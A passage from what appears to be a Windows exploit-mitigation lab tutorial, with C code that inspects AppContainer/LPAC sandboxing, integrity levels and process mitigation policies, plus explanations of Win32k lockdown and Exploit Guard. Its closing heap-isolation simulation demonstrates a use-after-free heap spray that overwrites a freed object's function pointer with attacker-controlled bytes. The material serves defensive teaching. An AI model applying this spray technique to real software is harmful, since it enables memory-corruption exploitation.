CheckProcessAppContainer(DWORD pid) {\n    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\n    if (!hProcess) {\n        printf(\"Failed to open process %d: %d\\n\", pid, GetLastError());\n        return;\n    }\n\n    HANDLE hToken;\n    if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {\n        printf(\"Failed to open process token: %d\\n\", GetLastError());\n        CloseHandle(hProcess);\n        return;\n    }\n\n    \u002F\u002F Check if process is in AppContainer\n    DWORD isAppContainer = 0;\n    DWORD returnLength;\n\n    printf(\"=== Process %d Security Analysis ===\\n\\n\", pid);\n\n    if (GetTokenInformation(hToken, TokenIsAppContainer,\n                           &isAppContainer, sizeof(isAppContainer),\n                           &returnLength)) {\n        printf(\"AppContainer Status:\\n\");\n        printf(\"  IsAppContainer: %s\\n\", isAppContainer ? \"YES\" : \"NO\");\n\n        if (isAppContainer) {\n            \u002F\u002F Get AppContainer SID\n            DWORD sidLength = 0;\n            GetTokenInformation(hToken, TokenAppContainerSid, NULL, 0, &sidLength);\n\n            if (sidLength > 0) {\n                PTOKEN_APPCONTAINER_INFORMATION appContainerInfo =\n                    (PTOKEN_APPCONTAINER_INFORMATION)malloc(sidLength);\n\n                if (GetTokenInformation(hToken, TokenAppContainerSid,\n                                       appContainerInfo, sidLength, &returnLength)) {\n                    LPWSTR sidString;\n                    if (ConvertSidToStringSidW(appContainerInfo->TokenAppContainer, &sidString)) {\n                        wprintf(L\"  AppContainer SID: %s\\n\", sidString);\n                        LocalFree(sidString);\n                    }\n                }\n                free(appContainerInfo);\n            }\n\n            \u002F\u002F Check for LPAC (Less Privileged AppContainer)\n            \u002F\u002F TokenIsLessPrivilegedAppContainer = 77 (Windows 10 1809+)\n            DWORD isLPAC = 0;\n            if (GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)77,\n                                   &isLPAC, sizeof(isLPAC), &returnLength)) {\n                printf(\"  IsLPAC: %s\\n\", isLPAC ? \"YES\" : \"NO\");\n            } else {\n                printf(\"  IsLPAC: Unable to query (error %d, may require Windows 10 1809+)\\n\",\n                       GetLastError());\n            }\n\n            \u002F\u002F Get capabilities\n            DWORD capLength = 0;\n            GetTokenInformation(hToken, TokenCapabilities, NULL, 0, &capLength);\n\n            if (capLength > 0) {\n                PTOKEN_GROUPS capabilities = (PTOKEN_GROUPS)malloc(capLength);\n\n                if (GetTokenInformation(hToken, TokenCapabilities,\n                                       capabilities, capLength, &returnLength)) {\n                    printf(\"  Capabilities: %d\\n\", capabilities->GroupCount);\n\n                    if (capabilities->GroupCount > 0) {\n                        printf(\"\\n  Capability SIDs:\\n\");\n                        for (DWORD i = 0; i \u003C capabilities->GroupCount; i++) {\n                            LPWSTR capSidString;\n                            if (ConvertSidToStringSidW(capabilities->Groups[i].Sid, &capSidString)) {\n                                wprintf(L\"    [%d] %s\\n\", i, capSidString);\n                                LocalFree(capSidString);\n                            }\n                        }\n                    }\n                }\n                free(capabilities);\n            }\n        }\n    } else {\n        printf(\"Failed to query TokenIsAppContainer: %d\\n\", GetLastError());\n    }\n\n    \u002F\u002F Check integrity level\n    printf(\"\\nIntegrity Level:\\n\");\n    DWORD integrityLength = 0;\n    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &integrityLength);\n\n    if (integrityLength > 0) {\n        PTOKEN_MANDATORY_LABEL integrityLabel = (PTOKEN_MANDATORY_LABEL)malloc(integrityLength);\n\n        if (GetTokenInformation(hToken, TokenIntegrityLevel,\n                               integrityLabel, integrityLength, &returnLength)) {\n            DWORD integrityLevel = *GetSidSubAuthority(integrityLabel->Label.Sid,\n                                   *GetSidSubAuthorityCount(integrityLabel->Label.Sid) - 1);\n\n            const char* levelName;\n            if (integrityLevel \u003C SECURITY_MANDATORY_LOW_RID) {\n                levelName = \"Untrusted\";\n            } else if (integrityLevel \u003C SECURITY_MANDATORY_MEDIUM_RID) {\n                levelName = \"Low\";\n            } else if (integrityLevel \u003C SECURITY_MANDATORY_HIGH_RID) {\n                levelName = \"Medium\";\n            } else if (integrityLevel \u003C SECURITY_MANDATORY_SYSTEM_RID) {\n                levelName = \"High\";\n            } else {\n                levelName = \"System\";\n            }\n\n            printf(\"  Level: %s (0x%X)\\n\", levelName, integrityLevel);\n        }\n        free(integrityLabel);\n    }\n\n    \u002F\u002F Check if elevated\n    TOKEN_ELEVATION elevation;\n    if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &returnLength)) {\n        printf(\"  Elevated: %s\\n\", elevation.TokenIsElevated ? \"YES\" : \"NO\");\n    }\n\n    CloseHandle(hToken);\n    CloseHandle(hProcess);\n\n    printf(\"\\n\");\n}\n\nint main(int argc, char* argv[]) {\n    if (argc \u003C 2) {\n        printf(\"Usage: verify_lpac.exe \u003CPID>\\n\");\n        printf(\"Example: verify_lpac.exe 1234\\n\");\n        return 1;\n    }\n\n    DWORD pid = atoi(argv[1]);\n    CheckProcessAppContainer(pid);\n\n    return 0;\n}\n```\n\n```c\n\u002F\u002F test_lpac_wrapper.c - Launches LPAC process and displays its PID\n\u002F\u002F Compile: cl \u002FZi \u002FW4 src\\test_lpac_wrapper.c \u002FFe:bin\\test_lpac_wrapper.exe \u002Flink advapi32.lib userenv.lib\n\n#include \u003Cwindows.h>\n#include \u003Cuserenv.h>\n#include \u003Csddl.h>\n#include \u003Cstdio.h>\n\n#pragma comment(lib, \"advapi32.lib\")\n#pragma comment(lib, \"userenv.lib\")\n\nBOOL CreateLPACProcessNoWait(LPCWSTR cmdLine, LPCWSTR lpacName, DWORD* outPid) {\n    PSID lpacSid = NULL;\n    LPPROC_THREAD_ATTRIBUTE_LIST attrList = NULL;\n    STARTUPINFOEXW si = {0};\n    PROCESS_INFORMATION pi = {0};\n    SIZE_T attrSize = 0;\n    BOOL success = FALSE;\n    DWORD allPackagesPolicy = PROCESS_CREATION_ALL_APPLICATION_PACKAGES_OPT_OUT;\n\n    HRESULT hr = CreateAppContainerProfile(\n        lpacName, lpacName, L\"LPAC Test Container\",\n        NULL, 0, &lpacSid\n    );\n\n    if (FAILED(hr) && hr != HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {\n        wprintf(L\"CreateAppContainerProfile failed: 0x%08X\\n\", hr);\n        goto cleanup;\n    }\n\n    if (hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {\n        hr = DeriveAppContainerSidFromAppContainerName(lpacName, &lpacSid);\n        if (FAILED(hr)) {\n            wprintf(L\"DeriveAppContainerSidFromAppContainerName failed: 0x%08X\\n\", hr);\n            goto cleanup;\n        }\n    }\n\n    SECURITY_CAPABILITIES secCaps = {0};\n    secCaps.AppContainerSid = lpacSid;\n    secCaps.Capabilities = NULL;\n    secCaps.CapabilityCount = 0;\n    secCaps.Reserved = 0;\n\n    InitializeProcThreadAttributeList(NULL, 2, 0, &attrSize);\n    attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);\n\n    if (!attrList || !InitializeProcThreadAttributeList(attrList, 2, 0, &attrSize)) {\n        wprintf(L\"Failed to initialize attribute list\\n\");\n        goto cleanup;\n    }\n\n    UpdateProcThreadAttribute(attrList, 0,\n        PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES,\n        &secCaps, sizeof(secCaps), NULL, NULL);\n\n    UpdateProcThreadAttribute(attrList, 0,\n        PROC_THREAD_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY,\n        &allPackagesPolicy, sizeof(allPackagesPolicy), NULL, NULL);\n\n    si.StartupInfo.cb = sizeof(STARTUPINFOEXW);\n    si.lpAttributeList = attrList;\n\n    if (!CreateProcessW(NULL, (LPWSTR)cmdLine, NULL, NULL, FALSE,\n                       EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,\n                       NULL, NULL, &si.StartupInfo, &pi)) {\n        wprintf(L\"CreateProcess failed: %d\\n\", GetLastError());\n        goto cleanup;\n    }\n\n    wprintf(L\"LPAC process created!\\n\");\n    wprintf(L\"  PID: %d\\n\", pi.dwProcessId);\n    wprintf(L\"  TID: %d\\n\\n\", pi.dwThreadId);\n    wprintf(L\"Process is running. Verify with:\\n\");\n    wprintf(L\"  .\\\\bin\\\\verify_lpac.exe %d\\n\\n\", pi.dwProcessId);\n    wprintf(L\"Press Enter to terminate the process...\\n\");\n\n    *outPid = pi.dwProcessId;\n    success = TRUE;\n\n    getchar();\n\n    TerminateProcess(pi.hProcess, 0);\n\ncleanup:\n    if (pi.hProcess) CloseHandle(pi.hProcess);\n    if (pi.hThread) CloseHandle(pi.hThread);\n    if (attrList) {\n        DeleteProcThreadAttributeList(attrList);\n        HeapFree(GetProcessHeap(), 0, attrList);\n    }\n    if (lpacSid) FreeSid(lpacSid);\n\n    return success;\n}\n\nint wmain(int argc, wchar_t* argv[]) {\n    DWORD pid = 0;\n\n    wprintf(L\"=== LPAC Process Test Wrapper ===\\n\\n\");\n\n    if (!CreateLPACProcessNoWait(L\"cmd.exe \u002Fc timeout \u002Ft 300\", L\"TestLPAC\", &pid)) {\n        wprintf(L\"Failed to create LPAC process\\n\");\n        return 1;\n    }\n\n    return 0;\n}\n```\n\n**Testing with Verification Tool**:\n\n```bash\n# Compile the verification tool\ncl \u002FZi \u002FW4 src\\verify_lpac.c \u002FFe:bin\\verify_lpac.exe \u002Flink advapi32.lib\ncl \u002FZi \u002FW4 src\\test_lpac_wrapper.c \u002FFe:bin\\test_lpac_wrapper.exe \u002Flink advapi32.lib userenv.lib\n\n# Method 1: Start LPAC process and verify immediately\n# Open two terminals:\n\n# Terminal 1: Start a long-running LPAC process\n.\\bin\\test_lpac_wrapper.exe\n#=== LPAC Process Test Wrapper ===\n#LPAC process created!\n#  PID: 7436\n#  TID: 4604\n#Process is running. Verify with:\n#  .\\bin\\verify_lpac.exe 7436\n#Press Enter to terminate the process...\n\n# Terminal 2: While it's running, find and verify the process\n.\\bin\\verify_lpac.exe 7436\n#=== Process 7436 Security Analysis ===\n#AppContainer Status:\n#  IsAppContainer: YES\n#  AppContainer SID: S-1-15-2-934039966-986718514-2141559622-437351596-127579802-3278121308-378560344\n#  IsLPAC: Unable to query (error 87, may require Windows 10 1809+)\n#  Capabilities: 0\n#Integrity Level:\n#  Level: Low (0x1000)\n#  Elevated: NO\n\n.\\bin\\verify_lpac.exe $PID\n#=== Process 4424 Security Analysis ===\n#AppContainer Status:\n#  IsAppContainer: NO\n#Integrity Level:\n#  Level: Medium (0x2000)\n#  Elevated: NO\n```\n\n**Key Observations**:\n\n- LPAC process runs at Low integrity (0x1000) vs Medium (0x2000)\n- Zero capabilities = maximum restriction\n- AppContainer SID uniquely identifies the sandbox\n- Normal processes have no AppContainer isolation\n\n#### Win32k Filtering (Win32k Lockdown)\n\n**What is Win32k Filtering?**:\n\n- Blocks access to win32k.sys from sandboxed processes\n- win32k.sys is a major kernel attack surface\n- Used by Chrome, Edge, Firefox renderers\n\n**Why Block Win32k?**:\n\n```text\nwin32k.sys Attack Surface:\n--------------------------------------------------------\n\n- ~1200 syscalls (NtUser*, NtGdi*)\n- Complex state machine (windows, menus, hooks)\n- Historical source of many kernel vulns\n- 2015-2024: 100+ win32k CVEs\n\nBrowser Renderer:\n- Doesn't need to create windows (compositor does that)\n- Doesn't need GDI (uses GPU)\n- Blocking win32k removes huge attack surface\n```\n\n**Win32k Filter Impact**:\n\n```text\nWith Win32k Filtering Enabled:\n----------------------------------------------\nProcess CANNOT:\n- Create or manipulate windows\n- Use GDI drawing functions\n- Set Windows hooks\n- Access clipboard directly\n- Use USER32\u002FGDI32 APIs\n\nProcess MUST:\n- Use IPC to broker process for UI\n- Use Mojo\u002FIPC for compositor\n- Render to shared memory\u002FGPU\n\nSecurity Benefit:\n- 1200+ syscalls removed from attack surface\n- win32k kernel exploits don't work\n- Only syscall filtering in ntoskrnl matters\n```\n\n#### Process Mitigation Policy Summary\n\n**All Process-Level Mitigations**:\n\n```c\n\u002F\u002F Complete process mitigation policy query and set example\n\u002F\u002F Compile: cl \u002FZi \u002FW4 src\\mitigation_policy.c \u002FFe:bin\\mitigation_policy.exe\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n\nvoid PrintDEPPolicy(PROCESS_MITIGATION_DEP_POLICY* policy) {\n    printf(\"DEP Policy:\\n\");\n    printf(\"  Enable: %d\\n\", policy->Enable);\n    printf(\"  DisableAtlThunkEmulation: %d\\n\", policy->DisableAtlThunkEmulation);\n    printf(\"  Permanent: %d\\n\", policy->Permanent);\n}\n\nvoid PrintASLRPolicy(PROCESS_MITIGATION_ASLR_POLICY* policy) {\n    printf(\"ASLR Policy:\\n\");\n    printf(\"  EnableBottomUpRandomization: %d\\n\", policy->EnableBottomUpRandomization);\n    printf(\"  EnableForceRelocateImages: %d\\n\", policy->EnableForceRelocateImages);\n    printf(\"  EnableHighEntropy: %d\\n\", policy->EnableHighEntropy);\n    printf(\"  DisallowStrippedImages: %d\\n\", policy->DisallowStrippedImages);\n}\n\nvoid PrintDynamicCodePolicy(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY* policy) {\n    printf(\"Dynamic Code Policy (ACG):\\n\");\n    printf(\"  ProhibitDynamicCode: %d\\n\", policy->ProhibitDynamicCode);\n    printf(\"  AllowThreadOptOut: %d\\n\", policy->AllowThreadOptOut);\n    printf(\"  AllowRemoteDowngrade: %d\\n\", policy->AllowRemoteDowngrade);\n}\n\nvoid PrintSystemCallDisablePolicy(PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY* policy) {\n    printf(\"System Call Disable Policy (Win32k Lockdown):\\n\");\n    printf(\"  DisallowWin32kSystemCalls: %d\\n\", policy->DisallowWin32kSystemCalls);\n}\n\nvoid PrintControlFlowGuardPolicy(PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY* policy) {\n    printf(\"Control Flow Guard Policy:\\n\");\n    printf(\"  EnableControlFlowGuard: %d\\n\", policy->EnableControlFlowGuard);\n    printf(\"  EnableExportSuppression: %d\\n\", policy->EnableExportSuppression);\n    printf(\"  StrictMode: %d\\n\", policy->StrictMode);\n}\n\nvoid PrintSignaturePolicy(PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY* policy) {\n    printf(\"Binary Signature Policy (CIG):\\n\");\n    printf(\"  MicrosoftSignedOnly: %d\\n\", policy->MicrosoftSignedOnly);\n    printf(\"  StoreSignedOnly: %d\\n\", policy->StoreSignedOnly);\n    printf(\"  MitigationOptIn: %d\\n\", policy->MitigationOptIn);\n}\n\nvoid PrintImageLoadPolicy(PROCESS_MITIGATION_IMAGE_LOAD_POLICY* policy) {\n    printf(\"Image Load Policy:\\n\");\n    printf(\"  NoRemoteImages: %d\\n\", policy->NoRemoteImages);\n    printf(\"  NoLowMandatoryLabelImages: %d\\n\", policy->NoLowMandatoryLabelImages);\n    printf(\"  PreferSystem32Images: %d\\n\", policy->PreferSystem32Images);\n}\n\nvoid PrintChildProcessPolicy(PROCESS_MITIGATION_CHILD_PROCESS_POLICY* policy) {\n    printf(\"Child Process Policy:\\n\");\n    printf(\"  NoChildProcessCreation: %d\\n\", policy->NoChildProcessCreation);\n    printf(\"  AllowSecureProcessCreation: %d\\n\", policy->AllowSecureProcessCreation);\n}\n\nvoid QueryAllMitigations(HANDLE hProcess) {\n    PROCESS_MITIGATION_DEP_POLICY depPolicy = {0};\n    PROCESS_MITIGATION_ASLR_POLICY aslrPolicy = {0};\n    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy = {0};\n    PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY syscallPolicy = {0};\n    PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfgPolicy = {0};\n    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sigPolicy = {0};\n    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imageLoadPolicy = {0};\n    PROCESS_MITIGATION_CHILD_PROCESS_POLICY childProcPolicy = {0};\n\n    printf(\"=== Process Mitigation Policies ===\\n\\n\");\n\n    \u002F\u002F Query DEP\n    if (GetProcessMitigationPolicy(hProcess, ProcessDEPPolicy,\n                                   &depPolicy, sizeof(depPolicy))) {\n        PrintDEPPolicy(&depPolicy);\n    } else {\n        printf(\"Failed to query DEP policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query ASLR\n    if (GetProcessMitigationPolicy(hProcess, ProcessASLRPolicy,\n                                   &aslrPolicy, sizeof(aslrPolicy))) {\n        PrintASLRPolicy(&aslrPolicy);\n    } else {\n        printf(\"Failed to query ASLR policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query Dynamic Code (ACG)\n    if (GetProcessMitigationPolicy(hProcess, ProcessDynamicCodePolicy,\n                                   &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {\n        PrintDynamicCodePolicy(&dynamicCodePolicy);\n    } else {\n        printf(\"Failed to query Dynamic Code policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query System Call Disable (Win32k)\n    if (GetProcessMitigationPolicy(hProcess, ProcessSystemCallDisablePolicy,\n                                   &syscallPolicy, sizeof(syscallPolicy))) {\n        PrintSystemCallDisablePolicy(&syscallPolicy);\n    } else {\n        printf(\"Failed to query System Call Disable policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query CFG\n    if (GetProcessMitigationPolicy(hProcess, ProcessControlFlowGuardPolicy,\n                                   &cfgPolicy, sizeof(cfgPolicy))) {\n        PrintControlFlowGuardPolicy(&cfgPolicy);\n    } else {\n        printf(\"Failed to query CFG policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query Signature Policy (CIG)\n    if (GetProcessMitigationPolicy(hProcess, ProcessSignaturePolicy,\n                                   &sigPolicy, sizeof(sigPolicy))) {\n        PrintSignaturePolicy(&sigPolicy);\n    } else {\n        printf(\"Failed to query Signature policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query Image Load Policy\n    if (GetProcessMitigationPolicy(hProcess, ProcessImageLoadPolicy,\n                                   &imageLoadPolicy, sizeof(imageLoadPolicy))) {\n        PrintImageLoadPolicy(&imageLoadPolicy);\n    } else {\n        printf(\"Failed to query Image Load policy: %d\\n\", GetLastError());\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F Query Child Process Policy\n    if (GetProcessMitigationPolicy(hProcess, ProcessChildProcessPolicy,\n                                   &childProcPolicy, sizeof(childProcPolicy))) {\n        PrintChildProcessPolicy(&childProcPolicy);\n    } else {\n        printf(\"Failed to query Child Process policy: %d\\n\", GetLastError());\n    }\n}\n\nBOOL SetProcessMitigations(HANDLE hProcess) {\n    \u002F\u002F Example: Enable ACG (Arbitrary Code Guard)\n    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy = {0};\n    dynamicCodePolicy.ProhibitDynamicCode = 1;\n\n    if (!SetProcessMitigationPolicy(ProcessDynamicCodePolicy,\n                                    &dynamicCodePolicy,\n                                    sizeof(dynamicCodePolicy))) {\n        printf(\"Failed to set Dynamic Code policy: %d\\n\", GetLastError());\n        return FALSE;\n    }\n\n    \u002F\u002F Example: Enable Win32k System Call Disable\n    PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY syscallPolicy = {0};\n    syscallPolicy.DisallowWin32kSystemCalls = 1;\n\n    if (!SetProcessMitigationPolicy(ProcessSystemCallDisablePolicy,\n                                    &syscallPolicy,\n                                    sizeof(syscallPolicy))) {\n        printf(\"Failed to set System Call Disable policy: %d\\n\", GetLastError());\n        return FALSE;\n    }\n\n    \u002F\u002F Example: Disable child process creation\n    PROCESS_MITIGATION_CHILD_PROCESS_POLICY childProcPolicy = {0};\n    childProcPolicy.NoChildProcessCreation = 1;\n\n    if (!SetProcessMitigationPolicy(ProcessChildProcessPolicy,\n                                    &childProcPolicy,\n                                    sizeof(childProcPolicy))) {\n        printf(\"Failed to set Child Process policy: %d\\n\", GetLastError());\n        return FALSE;\n    }\n\n    printf(\"Successfully set mitigation policies!\\n\");\n    return TRUE;\n}\n\nint main(int argc, char* argv[]) {\n    HANDLE hProcess = GetCurrentProcess();\n\n    if (argc > 1 && strcmp(argv[1], \"--set\") == 0) {\n        printf(\"Setting mitigation policies...\\n\\n\");\n        SetProcessMitigations(hProcess);\n        printf(\"\\n\");\n    }\n\n    \u002F\u002F Query another process by PID\n    if (argc > 1 && strcmp(argv[1], \"--pid\") == 0 && argc > 2) {\n        DWORD pid = atoi(argv[2]);\n        HANDLE hTargetProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\n\n        if (hTargetProcess) {\n            printf(\"Querying Process PID %d mitigations...\\n\\n\", pid);\n            QueryAllMitigations(hTargetProcess);\n            CloseHandle(hTargetProcess);\n        } else {\n            printf(\"Failed to open process %d: %d\\n\", pid, GetLastError());\n        }\n    } else {\n        printf(\"Querying current process mitigations...\\n\\n\");\n        QueryAllMitigations(hProcess);\n    }\n\n    return 0;\n}\n\n\u002F\u002F Usage examples:\n\u002F\u002F mitigation_policy.exe              - Query current process\n\u002F\u002F mitigation_policy.exe --set        - Set mitigations then query\n\u002F\u002F mitigation_policy.exe --pid 1234   - Query process with PID 1234\n```\n\n**Testing Mitigation Policies**:\n\n```bash\n# Compile the mitigation policy tool\ncl \u002FZi \u002FW4 src\\mitigation_policy.c \u002FFe:bin\\mitigation_policy.exe\n\n# Query current process mitigations\n.\\bin\\mitigation_policy.exe\n\n# Set mitigations on current process (some may fail if already set)\n.\\bin\\mitigation_policy.exe --set\n\n# Query a specific process\n$notepadPid = (Get-Process notepad | Select-Object -First 1).Id\n.\\bin\\mitigation_policy.exe --pid $notepadPid\n\n# Compare browser processes (shows main vs renderer process differences)\nGet-Process chrome,msedge,firefox -ErrorAction SilentlyContinue | ForEach-Object {\n    Write-Host \"`n=== $($_.ProcessName) PID $($_.Id) ===\"\n    .\\bin\\mitigation_policy.exe --pid $_.Id\n}\n# Note: Renderer\u002Fsandbox processes will show ACG=1, Win32k=1, CIG=1, NoChildProcess=1\n# Main browser processes will have fewer mitigations enabled\n\n# Check system-wide mitigation policies (only shows if configured via registry\u002FExploit Guard)\nGet-ProcessMitigation -System\n\n# Query running process by PID (more reliable for actual runtime mitigations)\n$edgePid = (Get-Process msedge | Select-Object -First 1).Id\nGet-ProcessMitigation -Id $edgePid\n\n# View specific mitigation categories with details\n$mitigation = Get-ProcessMitigation -Id $edgePid\n$mitigation.Dep\n$mitigation.Aslr\n$mitigation.DynamicCode\n$mitigation.SystemCall\n$mitigation.Cfg\n```\n\n**Expected Output Analysis**:\n\n```text\nBrowser Renderer\u002FSandbox Process (e.g., Edge PID 9520):\n--------------------------------------------------------\nDEP: ON (Enable=1, Permanent=1)\nASLR: Full (BottomUp=1, ForceRelocateImages=1, HighEntropy=1)\nACG: ON (ProhibitDynamicCode=1) - Blocks JIT\u002Fdynamic code\nWin32k Lockdown: ON (DisallowWin32kSystemCalls=1) - No GUI syscalls\nCFG: ON (EnableControlFlowGuard=1)\nCIG: ON (MicrosoftSignedOnly=1) - Only MS-signed DLLs\nImage Load: Restricted (NoRemoteImages=1, NoLowMandatoryLabelImages=1)\nChild Process: Blocked (NoChildProcessCreation=1)\n\nBrowser Main\u002FUtility Process (e.g., Edge PID 5512):\n----------------------------------------------------\nDEP: ON (Enable=1, Permanent=1)\nASLR: Full (BottomUp=1, HighEntropy=1)\nACG: OFF (BlockDynamicCode=OFF) - Allows JIT for JavaScript\nWin32k Lockdown: OFF - Needs GUI access\nCFG: ON (Enable=ON)\nCIG: OFF - Can load third-party extensions\nImage Load: Unrestricted\nChild Process: Allowed - Can spawn renderer processes\n\nLegacy Application (e.g., older Win32 app):\n-------------------------------------------\nDEP: ON (but may not be permanent)\nASLR: Partial (BottomUp=ON, but ForceRelocateImages=OFF, HighEntropy=OFF)\nACG: OFF\nWin32k Lockdown: OFF\nCFG: OFF\nCIG: OFF\nImage Load: Unrestricted\nChild Process: Unrestricted\n```\n\n### Windows Defender Exploit Guard\n\n**What is Exploit Guard?**:\n\n- Successor to EMET (Enhanced Mitigation Experience Toolkit)\n- Built into Windows 10 1709+\n- Configurable per-application mitigations\n- Part of Windows Security \u002F Microsoft Defender\n\n**Key Features**:\n\n| Feature                        | Protection                    |\n| ------------------------------ | ----------------------------- |\n| Attack Surface Reduction (ASR) | Blocks Office macros, scripts |\n| Network Protection             | Blocks malicious URLs         |\n| Controlled Folder Access       | Ransomware protection         |\n| Exploit Protection             | Per-app mitigations           |\n\n### Browser Heap Isolation Simulation\n\nBrowsers use \"PartitionAlloc\" (Chromium) or \"MemGC\" (Edge) to isolate different\nobject types into separate heaps. This prevents a UAF in one type from being\nexploited via allocation of a different type.\n\nCreate `src\\browser_heap_sim.cpp`:\n\n```cpp\n\u002F\u002F browser_heap_sim.cpp\n\u002F\u002F Simulates browser-style heap isolation that prevents type-confusion UAF.\n\u002F\u002F\n\u002F\u002F Without isolation: free a DomNode, spray ImageData of same size,\n\u002F\u002F   attacker controls freed DomNode's vtable -> code execution.\n\u002F\u002F With isolation: DomNode and ImageData use DIFFERENT heaps,\n\u002F\u002F   so ImageData CANNOT reclaim DomNode's memory.\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nHANDLE g_DomHeap;\nHANDLE g_ImageHeap;\n\nstruct DomNode {\n    void (*render)(struct DomNode*);\n    char tag[56];  \u002F\u002F Total: 64 bytes\n};\n\nstruct ImageData {\n    unsigned char pixels[64];  \u002F\u002F Same size as DomNode!\n};\n\nvoid legit_render(struct DomNode* self) {\n    printf(\"[*] Rendering \u003C%s>\\n\", self->tag);\n}\n\nvoid init_heaps() {\n    g_DomHeap = HeapCreate(0, 0, 0);\n    g_ImageHeap = HeapCreate(0, 0, 0);\n    printf(\"[*] DOM Heap:   %p\\n\", g_DomHeap);\n    printf(\"[*] Image Heap: %p\\n\", g_ImageHeap);\n}\n\nvoid demo_without_isolation() {\n    printf(\"\\n=== WITHOUT ISOLATION (single heap) ===\\n\");\n    HANDLE hHeap = GetProcessHeap();\n\n    \u002F\u002F Allocate a DomNode\n    DomNode* node = (DomNode*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DomNode));\n    node->render = legit_render;\n    strcpy(node->tag, \"div\");\n    printf(\"[*] DomNode at %p, render = %p\\n\", node, (void*)node->render);\n    void* saved_addr = node;\n\n    \u002F\u002F Free it (UAF condition)\n    HeapFree(hHeap, 0, node);\n    printf(\"[*] Freed DomNode at %p\\n\", saved_addr);\n\n    \u002F\u002F Spray same-sized ImageData on same heap\n    \u002F\u002F Goal: reclaim the freed DomNode's memory\n    int reclaimed = 0;\n    for (int i = 0; i \u003C 100; i++) {\n        ImageData* img = (ImageData*)HeapAlloc(hHeap, 0, sizeof(ImageData));\n        memset(img->pixels, 0x41, sizeof(img->pixels));\n        if ((void*)img == saved_addr) {\n            printf(\"[!] ImageData reclaimed DomNode's memory at %p!\\n\", img);\n            printf(\"[!] node->render is now 0x%p (attacker-controlled)\\n\",\n                   (void*)((DomNode*)img)->render);\n            reclaimed = 1;\n            break;\n        }\n    }\n    if (!reclaimed)\n        printf(\"[*] Did not reclaim in 100 attempts (heap randomization)\\n\");\n    fflush(stdout);\n}\n\nvoid demo_with_isolation() {\n    printf(\"\\n=== WITH ISOLATION (separate heaps) ===\\n\");\n    init_heaps();\n\n    \u002F\u002F DomNode allocated on DOM heap\n    DomNode* node = (DomNode*)HeapAlloc(g_DomHeap, HEAP_ZERO_MEMORY, sizeof(DomNode));\n    node->render = legit_render;\n    strcpy(node->tag, \"div\");\n    printf(\"[*] DomNode at %p (DOM heap)\\n\", node);\n    void* saved_addr = node;\n\n    \u002F\u002F Free it\n    HeapFree(g_DomHeap, 0, node);\n    printf(\"[*] Freed DomNode at %p\\n\", saved_addr);\n\n    \u002F\u002F Spray ImageData on IMAGE heap — DIFFERENT heap!\n    \u002F\u002F Can never reclaim DomNode memory because it's on a different heap\n    int reclaimed = 0;\n    for (int i = 0; i \u003C 100; i++) {\n        ImageData* img = (ImageData*)HeapAlloc(g_ImageHeap, 0, sizeof(ImageData));\n        memset(img->pixels, 0x41, sizeof(img->pixels));\n        if ((void*)img == saved_addr) {\n            printf(\"[!] Should never happen!\\n\");\n            reclaimed = 1;\n            break;\n        }\n    }\n    if (!reclaimed)\n        printf(\"[+] ImageData CANNOT reclaim DomNode memory (different heap)\\n\");\n    printf(\"[+] Type-confusion UAF prevented by heap isolation!\\n\");\n    fflush(stdout);\n\n    HeapDestroy(g_DomHeap);\n    HeapDestroy(g_ImageHeap);\n}\n\nint main() {\n    demo_without_isolation();\n    demo_with_isolation();\n    return 0;\n}\n```\n\n**Compile & Run**:\n\n```bash\ncd C:\\Windows_Mitigations_Lab\ncl \u002FEHsc \u002FZi src\\browser_heap_sim.cpp \u002FFe:bin\\browser_heap_sim.exe \u002Flink \u002FDEBUG\n\n.\\bin\\browser_heap_sim.exe\n# Expected output:\n# === WITHOUT ISOLATION (single heap) ===\n# [*] DomNode at 0000018BDD6252E0, render = 00007FF6FCEF1F0A\n# [*] Freed DomNode at 0000018BDD6252E0\n# [!] ImageData reclaimed DomNode's memory at 0000018BDD6252E0!\n# [!] node->render is now 0x4141414141414141 (attacker-controlled)\n\n# === WITH ISOLATION (separate heaps) ===\n# [*] DOM Heap:   0000018BDD9D0000\n# [*] Image Heap: 0000018BDD970000\n# [*] DomNode at 0000018BDD9D0860 (DOM heap)\n# [*] Freed DomNode at 0000018BDD9D0860\n```\n\n> 